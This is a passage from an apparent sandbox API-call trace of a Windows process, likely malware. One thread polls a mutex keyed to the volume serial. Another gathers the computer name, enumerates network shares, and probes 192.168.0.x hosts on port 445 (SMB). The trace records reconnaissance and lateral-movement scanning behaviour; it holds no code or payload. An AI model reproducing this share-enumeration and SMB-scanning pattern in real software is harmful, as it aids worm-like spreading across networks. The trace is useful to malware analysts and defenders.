[0289.134] GetProcessHeap () returned 0xc10000 [0289.134] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4d50 [0289.134] GetProcessHeap () returned 0xc10000 [0289.134] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4d50, Size=0x72) returned 0xcf9e20 [0289.134] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0289.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0289.134] CloseHandle (hObject=0x27c) returned 1 [0289.134] GetProcessHeap () returned 0xc10000 [0289.134] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4be8 | out: hHeap=0xc10000) returned 1 [0289.134] GetProcessHeap () returned 0xc10000 [0289.134] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9e20 | out: hHeap=0xc10000) returned 1 [0289.134] Sleep (dwMilliseconds=0x3e8) [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ec00 [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec28 [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ebd8 [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39005d8 [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39005d8 | out: hHeap=0xc10000) returned 1 [0290.647] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0290.647] GetProcessHeap () returned 0xc10000 [0290.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0290.647] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0290.648] GetProcessHeap () returned 0xc10000 [0290.648] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0290.648] GetProcessHeap () returned 0xc10000 [0290.648] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0290.648] GetProcessHeap () returned 0xc10000 [0290.648] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4888 [0290.648] GetProcessHeap () returned 0xc10000 [0290.648] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4888, Size=0x72) returned 0xcfa4a0 [0290.648] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0290.648] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0290.652] CloseHandle (hObject=0x27c) returned 1 [0290.652] GetProcessHeap () returned 0xc10000 [0290.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0290.652] GetProcessHeap () returned 0xc10000 [0290.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa4a0 | out: hHeap=0xc10000) returned 1 [0290.653] Sleep (dwMilliseconds=0x3e8) [0292.402] GetProcessHeap () returned 0xc10000 [0292.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee80 [0292.402] GetProcessHeap () returned 0xc10000 [0292.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef48 [0292.402] GetProcessHeap () returned 0xc10000 [0292.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec28 [0292.402] GetProcessHeap () returned 0xc10000 [0292.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900a00 [0292.402] GetProcessHeap () returned 0xc10000 [0292.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900a00 | out: hHeap=0xc10000) returned 1 [0292.402] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0292.402] GetProcessHeap () returned 0xc10000 [0292.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0292.402] GetProcessHeap () returned 0xc10000 [0292.403] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee80 | out: hHeap=0xc10000) returned 1 [0292.403] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0292.403] GetProcessHeap () returned 0xc10000 [0292.403] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0292.403] GetProcessHeap () returned 0xc10000 [0292.403] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d08 [0292.403] GetProcessHeap () returned 0xc10000 [0292.403] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0292.403] GetProcessHeap () returned 0xc10000 [0292.403] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcf9ea0 [0292.403] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0292.403] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0292.403] CloseHandle (hObject=0x27c) returned 1 [0292.404] GetProcessHeap () returned 0xc10000 [0292.404] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d08 | out: hHeap=0xc10000) returned 1 [0292.404] GetProcessHeap () returned 0xc10000 [0292.404] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9ea0 | out: hHeap=0xc10000) returned 1 [0292.404] Sleep (dwMilliseconds=0x3e8) [0294.285] GetProcessHeap () returned 0xc10000 [0294.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed90 [0294.285] GetProcessHeap () returned 0xc10000 [0294.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eef8 [0294.286] GetProcessHeap () returned 0xc10000 [0294.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee58 [0294.286] GetProcessHeap () returned 0xc10000 [0294.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39001b0 [0294.286] GetProcessHeap () returned 0xc10000 [0294.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39001b0 | out: hHeap=0xc10000) returned 1 [0294.286] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eef8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0294.286] GetProcessHeap () returned 0xc10000 [0294.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0294.286] GetProcessHeap () returned 0xc10000 [0294.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0294.286] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0294.286] GetProcessHeap () returned 0xc10000 [0294.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0294.287] GetProcessHeap () returned 0xc10000 [0294.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca49f0 [0294.287] GetProcessHeap () returned 0xc10000 [0294.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47b0 [0294.287] GetProcessHeap () returned 0xc10000 [0294.287] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47b0, Size=0x72) returned 0xcf9ea0 [0294.287] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0294.287] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0294.287] CloseHandle (hObject=0x27c) returned 1 [0294.287] GetProcessHeap () returned 0xc10000 [0294.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca49f0 | out: hHeap=0xc10000) returned 1 [0294.287] GetProcessHeap () returned 0xc10000 [0294.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9ea0 | out: hHeap=0xc10000) returned 1 [0294.287] Sleep (dwMilliseconds=0x3e8) [0295.583] GetProcessHeap () returned 0xc10000 [0295.583] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eb38 [0295.583] GetProcessHeap () returned 0xc10000 [0295.583] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0295.583] GetProcessHeap () returned 0xc10000 [0295.583] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee30 [0295.583] GetProcessHeap () returned 0xc10000 [0295.583] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900118 [0295.584] GetProcessHeap () returned 0xc10000 [0295.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900118 | out: hHeap=0xc10000) returned 1 [0295.584] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0295.584] GetProcessHeap () returned 0xc10000 [0295.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0295.584] GetProcessHeap () returned 0xc10000 [0295.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0295.584] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0295.584] GetProcessHeap () returned 0xc10000 [0295.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0295.584] GetProcessHeap () returned 0xc10000 [0295.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d08 [0295.584] GetProcessHeap () returned 0xc10000 [0295.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0295.585] GetProcessHeap () returned 0xc10000 [0295.585] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcf9ea0 [0295.585] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0295.585] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0295.585] CloseHandle (hObject=0x27c) returned 1 [0295.585] GetProcessHeap () returned 0xc10000 [0295.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d08 | out: hHeap=0xc10000) returned 1 [0295.585] GetProcessHeap () returned 0xc10000 [0295.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9ea0 | out: hHeap=0xc10000) returned 1 [0295.585] Sleep (dwMilliseconds=0x3e8) Thread: id = 55 os_tid = 0xd04 [0211.011] GetProcessHeap () returned 0xc10000 [0211.011] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x21a) returned 0xc38838 [0211.011] GetProcessHeap () returned 0xc10000 [0211.011] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc27430 [0211.012] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x240 [0211.012] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x278 [0211.012] GetComputerNameW (in: lpBuffer=0xc38848, nSize=0x289f960 | out: lpBuffer="NQDPDE", nSize=0x289f960) returned 1 [0211.012] GetProcessHeap () returned 0xc10000 [0211.012] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f100 [0211.012] GetProcessHeap () returned 0xc10000 [0211.012] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0xc38a60 [0211.012] GetProcessHeap () returned 0xc10000 [0211.012] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc3ca68 [0211.013] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f918 | out: lphEnum=0x289f918*=0xc36d38) returned 0x0 [0213.083] WNetEnumResourceW (in: hEnum=0xc36d38, lpcCount=0x289f910, lpBuffer=0xc38a60, lpBufferSize=0x289f91c | out: lpcCount=0x289f910, lpBuffer=0xc38a60, lpBufferSize=0x289f91c) returned 0x103 [0213.083] WNetCloseEnum (hEnum=0xc36d38) returned 0x0 [0213.083] GetProcessHeap () returned 0xc10000 [0213.083] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0213.083] GetProcessHeap () returned 0xc10000 [0213.083] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc3ca68 | out: hHeap=0xc10000) returned 1 [0213.084] GetProcessHeap () returned 0xc10000 [0213.084] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e4fc0 [0213.085] GetProcessHeap () returned 0xc10000 [0213.085] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0213.085] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f900 | out: lphEnum=0x289f900*=0xc28798) returned 0x0 [0213.086] WNetEnumResourceW (in: hEnum=0xc28798, lpcCount=0x289f8f8, lpBuffer=0x33e4fc0, lpBufferSize=0x289f904 | out: lpcCount=0x289f8f8, lpBuffer=0x33e4fc0, lpBufferSize=0x289f904) returned 0x103 [0213.086] WNetCloseEnum (hEnum=0xc28798) returned 0x0 [0213.086] GetProcessHeap () returned 0xc10000 [0213.086] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e4fc0 | out: hHeap=0xc10000) returned 1 [0213.086] GetProcessHeap () returned 0xc10000 [0213.086] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0213.086] GetProcessHeap () returned 0xc10000 [0213.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e4fc0 [0213.086] GetProcessHeap () returned 0xc10000 [0213.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0213.086] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f8e8 | out: lphEnum=0x289f8e8*=0xc36d38) returned 0x0 [0228.614] WNetEnumResourceW (in: hEnum=0xc36d38, lpcCount=0x289f8e0, lpBuffer=0x33e4fc0, lpBufferSize=0x289f8ec | out: lpcCount=0x289f8e0, lpBuffer=0x33e4fc0, lpBufferSize=0x289f8ec) returned 0x0 [0228.615] GetProcessHeap () returned 0xc10000 [0228.615] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x3448ff8 [0228.615] GetProcessHeap () returned 0xc10000 [0228.615] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.616] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e4fc0, lphEnum=0x289f8a8 | out: lphEnum=0x289f8a8*=0x3902408) returned 0x0 [0242.854] WNetEnumResourceW (in: hEnum=0x3902408, lpcCount=0x289f8a0, lpBuffer=0x3448ff8, lpBufferSize=0x289f8ac | out: lpcCount=0x289f8a0, lpBuffer=0x3448ff8, lpBufferSize=0x289f8ac) returned 0x0 [0242.855] WNetEnumResourceW (in: hEnum=0x3902408, lpcCount=0x289f8a0, lpBuffer=0x3448ff8, lpBufferSize=0x289f8ac | out: lpcCount=0x289f8a0, lpBuffer=0x3448ff8, lpBufferSize=0x289f8ac) returned 0x103 [0242.855] WNetCloseEnum (hEnum=0x3902408) returned 0x0 [0242.855] GetProcessHeap () returned 0xc10000 [0242.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3448ff8 | out: hHeap=0xc10000) returned 1 [0242.855] GetProcessHeap () returned 0xc10000 [0242.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0242.857] WNetEnumResourceW (in: hEnum=0xc36d38, lpcCount=0x289f8e0, lpBuffer=0x33e4fc0, lpBufferSize=0x289f8ec | out: lpcCount=0x289f8e0, lpBuffer=0x33e4fc0, lpBufferSize=0x289f8ec) returned 0x103 [0242.857] WNetCloseEnum (hEnum=0xc36d38) returned 0x0 [0242.858] GetProcessHeap () returned 0xc10000 [0242.858] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e4fc0 | out: hHeap=0xc10000) returned 1 [0242.858] GetProcessHeap () returned 0xc10000 [0242.858] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0242.858] GetProcessHeap () returned 0xc10000 [0242.858] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e4fc0 [0242.858] GetProcessHeap () returned 0xc10000 [0242.858] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0242.858] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f918 | out: lphEnum=0x289f918*=0xc287d8) returned 0x0 [0242.864] WNetEnumResourceW (in: hEnum=0xc287d8, lpcCount=0x289f910, lpBuffer=0x33e4fc0, lpBufferSize=0x289f91c | out: lpcCount=0x289f910, lpBuffer=0x33e4fc0, lpBufferSize=0x289f91c) returned 0x103 [0242.865] WNetCloseEnum (hEnum=0xc287d8) returned 0x0 [0242.865] GetProcessHeap () returned 0xc10000 [0242.865] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e4fc0 | out: hHeap=0xc10000) returned 1 [0242.865] GetProcessHeap () returned 0xc10000 [0242.865] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0242.865] GetProcessHeap () returned 0xc10000 [0242.865] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e4fc0 [0242.865] GetProcessHeap () returned 0xc10000 [0242.865] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0242.865] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f900 | out: lphEnum=0x289f900*=0x33e4ee8) returned 0x0 [0242.866] WNetEnumResourceW (in: hEnum=0x33e4ee8, lpcCount=0x289f8f8, lpBuffer=0x33e4fc0, lpBufferSize=0x289f904 | out: lpcCount=0x289f8f8, lpBuffer=0x33e4fc0, lpBufferSize=0x289f904) returned 0x0 [0242.866] GetProcessHeap () returned 0xc10000 [0242.866] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0xc48a68 [0242.866] GetProcessHeap () returned 0xc10000 [0242.866] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0242.867] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e5000, lphEnum=0x289f8c0 | out: lphEnum=0x289f8c0*=0x0) returned 0x4c6 [0242.870] GetProcessHeap () returned 0xc10000 [0242.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc48a68 | out: hHeap=0xc10000) returned 1 [0242.870] GetProcessHeap () returned 0xc10000 [0242.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0242.870] GetProcessHeap () returned 0xc10000 [0242.870] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0xc48a68 [0242.871] GetProcessHeap () returned 0xc10000 [0242.871] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0242.871] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e4fe0, lphEnum=0x289f8c0 | out: lphEnum=0x289f8c0*=0x0) returned 0x4b8 [0256.807] GetProcessHeap () returned 0xc10000 [0256.807] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc48a68 | out: hHeap=0xc10000) returned 1 [0256.807] GetProcessHeap () returned 0xc10000 [0256.807] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0256.807] GetProcessHeap () returned 0xc10000 [0256.807] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0xc48a68 [0256.807] GetProcessHeap () returned 0xc10000 [0256.807] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0256.807] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e4fc0, lphEnum=0x289f8c0 | out: lphEnum=0x289f8c0*=0xc287d8) returned 0x0 [0256.810] WNetEnumResourceW (in: hEnum=0xc287d8, lpcCount=0x289f8b8, lpBuffer=0xc48a68, lpBufferSize=0x289f8c4 | out: lpcCount=0x289f8b8, lpBuffer=0xc48a68, lpBufferSize=0x289f8c4) returned 0x103 [0256.810] WNetCloseEnum (hEnum=0xc287d8) returned 0x0 [0256.810] GetProcessHeap () returned 0xc10000 [0256.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc48a68 | out: hHeap=0xc10000) returned 1 [0256.810] GetProcessHeap () returned 0xc10000 [0256.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0256.810] WNetEnumResourceW (in: hEnum=0x33e4ee8, lpcCount=0x289f8f8, lpBuffer=0x33e4fc0, lpBufferSize=0x289f904 | out: lpcCount=0x289f8f8, lpBuffer=0x33e4fc0, lpBufferSize=0x289f904) returned 0x103 [0256.810] WNetCloseEnum (hEnum=0x33e4ee8) returned 0x0 [0256.810] GetProcessHeap () returned 0xc10000 [0256.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e4fc0 | out: hHeap=0xc10000) returned 1 [0256.810] GetProcessHeap () returned 0xc10000 [0256.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0256.813] GetProcessHeap () returned 0xc10000 [0256.813] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x3a98) returned 0x33e4fc0 [0256.818] GetIpAddrTable (in: pIpAddrTable=0x33e4fc0, pdwSize=0x289f92c, bOrder=0 | out: pIpAddrTable=0x33e4fc0, pdwSize=0x289f92c) returned 0x0 [0259.093] htonl (hostlong=0x8700a8c0) returned 0xc0a80087 [0259.093] htonl (hostlong=0x8700a8c0) returned 0xc0a80087 [0259.093] htonl (hostlong=0xffffff) returned 0xffffff00 [0259.093] htons (hostshort=0x1bd) returned 0xbd01 [0259.093] GetProcessHeap () returned 0xc10000 [0259.093] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x800) returned 0x344b7b0 [0259.093] GetProcessHeap () returned 0xc10000 [0259.094] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x800) returned 0x344bfb8 [0259.094] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0259.095] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.261] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80001) returned 0x100a8c0 [0259.262] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.262] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80002) returned 0x200a8c0 [0259.262] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.262] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80003) returned 0x300a8c0 [0259.262] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.262] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80004) returned 0x400a8c0 [0259.262] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.262] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80005) returned 0x500a8c0 [0259.262] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.262] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80006) returned 0x600a8c0 [0259.262] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.262] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.262] htonl (hostlong=0xc0a80007) returned 0x700a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a80008) returned 0x800a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a80009) returned 0x900a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a8000a) returned 0xa00a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a8000b) returned 0xb00a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl 